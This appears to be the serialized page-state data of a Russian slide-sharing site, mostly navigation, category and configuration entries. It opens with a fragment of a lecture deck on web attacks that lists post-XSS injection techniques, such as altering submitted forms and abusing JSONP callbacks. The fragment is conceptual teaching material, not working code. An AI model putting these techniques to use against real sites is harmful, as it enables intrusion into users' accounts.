automatically with the password stored for the form’s origin\u003Cbr\u003EForm fields and parameters (into existing forms)\u003Cbr\u003EChange the meaning of forms submitted by user\u003Cbr\u003EJSONP calls\u003Cbr\u003EInvoke any existing function by specifying it as the callback in the injected call to the server’s JSONP API\u003Cbr\u003E\u003Cp\u003E[“Postcards from the post-XSS world”]\u003Cbr\u003E"],href:"\u002Finformatika\u002Fweb-attacks-cross-site-request-forgery",href_category:"\u002Finformatika",date:1633206465,related:[{id:228228,name:"Операционная система. Функции операционной системы",href:"\u002Finformatika\u002Foperatsionnaya-sistema-funktsii-operatsionnoy-sistemy",jpg:"jpg\u002F228228"},{id:411541,name:"Типы алгоритмов. Линейные алгоритмы",href:"\u002Finformatika\u002Ftipy-algoritmov-lineynye-algoritmy-1",jpg:"jpg\u002F411541"},{id:435500,name:"Введение в информатику",href:"\u002Finformatika\u002Fvvedenie-v-informatiku-7",jpg:"jpg\u002F435500"},{id:259324,name:"Mass media and media literacy",href:"\u002Finformatika\u002Fmass-media-and-media-literacy-1",jpg:"jpg\u002F259324"},{id:317335,name:"Составление отчетов",href:"\u002Finformatika\u002Fsostavlenie-otchetov",jpg:"jpg\u002F317335"},{id:129885,name:"Особливості політичного впливу ЗМІ",href:"\u002Finformatika\u002Fosoblivost-poltichnogo-vplivu-zm",jpg:"jpg\u002F129885"},{id:247167,name:"Программирование на языке C++",href:"\u002Finformatika\u002Fprogrammirovanie-na-yazyke-c-66",jpg:"jpg\u002F247167"},{id:285991,name:"Основы журналистики. Телевидение",href:"\u002Finformatika\u002Fosnovy-zhurnalistiki-televidenie",jpg:"jpg\u002F285991"},{id:348855,name:"Main Game",href:"\u002Finformatika\u002Fmain-game",jpg:"jpg\u002F348855"},{id:233834,name:"Animasiýanyň netijeleri",href:"\u002Finformatika\u002Fanimasiany-netijeleri",jpg:"jpg\u002F233834"},{id:411856,name:"Компьютер как средство автоматизации информационных процессов",href:"\u002Finformatika\u002Fkompyuter-kak-sredstvo-avtomatizatsii-informatsionnyh-protsessov",jpg:"jpg\u002F411856"},{id:365006,name:"Моделирование зависимостей между слоями",href:"\u002Finformatika\u002Fmodelirovanie-zavisimostey-mezhdu-sloyami",jpg:"jpg\u002F365006"},{id:283597,name:"Приложение TapTable",href:"\u002Finformatika\u002Fprilozhenie-taptable",jpg:"jpg\u002F283597"},{id:603003,name:"Информатика. Базовые понятия и определения. Лекция 1",href:"\u002Finformatika\u002Finformatika-bazovye-ponyatiya-i-opredeleniya-lektsiya",jpg:"jpg\u002F603003"},{id:490442,name:"Презентация к Внеклассному мероприятию по информатике Вредные Советы",href:"\u002Finformatika\u002Fprezentatsiya-k-vneklassnomu-meropriyatiyu-po-informatike",jpg:"jpg\u002F490442"},{id:215011,name:"Компьютердің тарихы. Кірме сөздер",href:"\u002Finformatika\u002Fkompyuterd-tarihy-krme-szder",jpg:"jpg\u002F215011"},{id:264526,name:"Файловые системы",href:"\u002Finformatika\u002Ffaylovye-sistemy-1",jpg:"jpg\u002F264526"},{id:186557,name:"Электронный каталог. Научной библиотеки ТГУ. Сервисы для пользователя",href:"\u002Finformatika\u002Felektronnyy-katalog-nauchnoy-biblioteki-tgu-servisy",jpg:"jpg\u002F186557"},{id:160306,name:"Алгоритмизация и программирование",href:"\u002Finformatika\u002Falgoritmizatsiya-i-programmirovanie-12",jpg:"jpg\u002F160306"},{id:227552,name:"Электронная зачетная книжка студента",href:"\u002Finformatika\u002Felektronnaya-zachetnaya-knizhka-studenta-1",jpg:"jpg\u002F227552"},{id:107811,name:"Типы алгоритмов",href:"\u002Finformatika\u002Ftipy-algoritmov-2",jpg:"jpg\u002F107811"},{id:203098,name:"Android technology",href:"\u002Finformatika\u002Fandroid-technology",jpg:"jpg\u002F203098"},{id:91811,name:"Екі өлшемді массивтер. Матрицалар",href:"\u002Finformatika\u002Fek-lshemd-massivter-matritsalar",jpg:"jpg\u002F91811"},{id:261933,name:"Кодирование информации. (5 класс)",href:"\u002Finformatika\u002Fkodirovanie-informatsii-5-klass-3",jpg:"jpg\u002F261933"},{id:342203,name:"Динамическое программирование. Лекция 20",href:"\u002Finformatika\u002Fdinamicheskoe-programmirovanie-lektsiya-20",jpg:"jpg\u002F342203"},{id:586209,name:"Регистрация пользователя",href:"\u002Finformatika\u002Fregistratsiya-polzovatelya",jpg:"jpg\u002F586209"},{id:295670,name:"Штриховое кодирование",href:"\u002Finformatika\u002Fshtrihovoe-kodirovanie-1",jpg:"jpg\u002F295670"},{id:367829,name:"Разбор задания №14 ЕГЭ по информатике",href:"\u002Finformatika\u002Frazbor-zadaniya-n14-ege-po-informatike",jpg:"jpg\u002F367829"}],navigation:{next:"\u002Finformatika\u002Fthe-language-of-headlines-types-of",next_name:"The language of headlines. Types of newspapers",prev:"\u002Finformatika\u002Fosi-transport-layer-network-fundamentals-chapter",prev_name:"Osi transport layer. Network fundamentals. (Chapter 4)"}}},categories:{result:[{id:H,ordering:b,name:"Без категории",pseudoname:"uncategorized"},{id:144,ordering:b,name:"Бизнес",pseudoname:"biznes"},{id:146,ordering:b,name:"Образование",pseudoname:"obrazovanie"},{id:149,ordering:b,name:"Финансы",pseudoname:"finansy"},{id:150,ordering:b,name:"Государство",pseudoname:"gosudarstvo"},{id:152,ordering:b,name:"Спорт",pseudoname:"sport"},{id:154,ordering:b,name:"Армия",pseudoname:"armiya"},{id:156,ordering:b,name:"Культурология",pseudoname:"kulturologiya"},{id:157,ordering:b,name:"Еда и кулинария",pseudoname:"eda-i-kulinariya"},{id:158,ordering:b,name:"Лингвистика",pseudoname:"lingvistika"},{id:163,ordering:b,name:"Черчение",pseudoname:"cherchenie"},{id:164,ordering:b,name:"Физкультура",pseudoname:"fizkultura"},{id:165,ordering:b,name:"ИЗО",pseudoname:"izo"},{id:166,ordering:b,name:"Психология",pseudoname:"psihologiya"},{id:116,ordering:H,name:"Английский язык",pseudoname:"angliyskiy-yazyk"},{id:108,ordering:2,name:"Астрономия",pseudoname:"astronomiya"},{id:104,ordering:3,name:"Алгебра",pseudoname:"algebra"},{id:106,ordering:4,name:"Биология",pseudoname:"biologiya"},{id:142,ordering:5,name:"География",pseudoname:"geografiya"},{id:141,ordering:6,name:"Геометрия",pseudoname:"geometria"},{id:123,ordering:7,name:"Детские презентации",pseudoname:"detskie-prezentatsii"},{id:107,ordering:8,name:G,pseudoname:"informatika"},{id:109,ordering:9,name:"История",pseudoname:"istoriya"},{id:139,ordering:j,name:"Литература",pseudoname:"literatura"},{id:119,ordering:k,name:"Маркетинг",pseudoname:"marketing"},{id:114,ordering:12,name:"Математика",pseudoname:"matematika"},{id:138,ordering:13,name:"Медицина",pseudoname:"medetsina"},{id:118,ordering:14,name:"Менеджмент",pseudoname:"menedzhment"},{id:137,ordering:15,name:"Музыка",pseudoname:"muzyka"},{id:136,ordering:16,name:"МХК",pseudoname:"mhk"},{id:130,ordering:17,name:"Немецкий язык",pseudoname:"nemetskiy-yazyk"},{id:105,ordering:18,name:"ОБЖ",pseudoname:"obzh"},{id:133,ordering:19,name:"Обществознание ",pseudoname:"obshchestvoznanie"},{id:132,ordering:20,name:"Окружающий мир ",pseudoname:"okruzhayushchiy-mir"},{id:131,ordering:21,name:"Педагогика ",pseudoname:"pedagogika"},{id:129,ordering:22,name:"Русский язык",pseudoname:"russkiy-yazyk"},{id:128,ordering:24,name:"Технология",pseudoname:"tehnologiya"},{id:127,ordering:25,name:"Физика",pseudoname:"fizika"},{id:126,ordering:26,name:"Философия",pseudoname:"filosofiya"},{id:125,ordering:27,name:"Химия",pseudoname:"himiya"},{id:124,ordering:29,name:"Экология",pseudoname:"ekologiya"},{id:121,ordering:30,name:"Экономика",pseudoname:"ekonomika"},{id:120,ordering:31,name:"Юриспруденция",pseudoname:"yurisprudentsiya"}]}},state:{},_errors:{},serverRendered:d,config:{public:{SITE_NAME:I,SITE_HOST:"mypreza.com",SITE_LANG:J,API_BASE_URL:"https:\u002F\u002Fmypreza.com\u002Fapi\u002F",pwaManifest:{name:I,short_name:a,description:a,lang:J,start_url:"\u002F?standalone=true",display:"standalone",background_color:l,theme_color:"#000000",icons:[{src:"\u002F_nuxt\u002Ficons\u002F64x64.f2a6e93d.png",type:c,sizes:K,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F64x64.maskable.f2a6e93d.png",type:c,sizes:K,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F120x120.f2a6e93d.png",type:c,sizes:L,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F120x120.maskable.f2a6e93d.png",type:c,sizes:L,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F144x144.f2a6e93d.png",type:c,sizes:M,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F144x144.maskable.f2a6e93d.png",type:c,sizes:M,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F152x152.f2a6e93d.png",type:c,sizes:N,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F152x152.maskable.f2a6e93d.png",type:c,sizes:N,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F192x192.f2a6e93d.png",type:c,sizes:O,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F192x192.maskable.f2a6e93d.png",type:c,sizes:O,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F384x384.f2a6e93d.png",type:c,sizes:P,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F384x384.maskable.f2a6e93d.png",type:c,sizes:P,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F512x512.f2a6e93d.png",type:c,sizes:Q,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F512x512.maskable.f2a6e93d.png",type:c,sizes:Q,purpose:g}]},yandexMetrika:{id:"85004146",metrikaUrl:"https:\u002F\u002Fmc.yandex.ru\u002Fmetrika\u002Ftag.js",accurateTrackBounce:d,childIframe:e,clickmap:e,defer:e,useRuntimeConfig:d,trackHash:e,trackLinks:d,type:b,webvisor:e,triggerEvent:e,consoleLog:d,partytown:e,isDev:e}},app:{baseURL:"\u002F",buildAssetsDir:"\u002F_nuxt\u002F",cdnURL:a}},pinia:{app:{meta:{h1:n,main_text:a,main_title:o,main_description:p,main_keywords:q,main_image:a},app:{logo_image:r,logo_image_width:s,logo_image_height:t,logo_text:a,image_width_full:u,image_width_min:v,recaptcha_key:w,yandex_search:x,ya_context:e,banner_1:a,banner_2:a,banner_3:a,banner_4:a,banner_5:a,banner_6:a,banner_7:a,banner_8:a,banner_9:a,banner_10:a,email:y,footer_before:a,footer:a,dark_theme:e,strategy:{image_alt_words:j,item_slide_header:z,item_images:A,item_images_tag:h,item_words_h3:d,item_words_tag:h,item_words_1:k,routing:B,item_slide_skipping:C,item_download_timeout:D,item_slider_width:E,item_show_pdf:d,item_show_contents:d,item_show_filename:d},colors:{header_text:l,header_bg:i,accent:i}},social:F,token:a}}}}("",0,"image\u002Fpng",true,false,"any","maskable","h2","#d53032",10,11,"#ffffff","Web Attacks: cross-site request forgery, SQL injection, cross-site scripting","Учебные презентации","Презентации в PowerPoint на разные темы","Презентации, проекты, доклады в PowerPoint на разные темы для учебы","Презентация, на тему, урок, класс, PowerPoint, скачати презентацію, фон, шаблон, доклад, проект.","images\u002Fdata\u002Flogo.png",185,40,720,480,"6LeioWIpAAAAAGqMN4KqMVIkekcMW7fBKHjXCd-a","2503267","[e-mail]","div","images_before","category","both",88,800,"\u003Cscript src=\"\u002F\u002Fyastatic.net\u002Fes5-shims\u002F0.0.2\u002Fes5-shims.min.js\"\u003E\u003C\u002Fscript\u003E\r\n\u003Cscript src=\"\u002F\u002Fyastatic.net\u002Fshare2\u002Fshare.js\"\u003E\u003C\u002Fscript\u003E\r\n\u003Cdiv class=\"ya-share2\" data-services=\"collections,gplus,vkontakte,facebook,odnoklassniki,gplus,twitter,moimir\" data-counter=\"\"\u003E\u003C\u002Fdiv\u003E","Информатика",1,"Mypreza","ru","64x64","120x120","144x144","152x152","192x192","384x384","512x512"))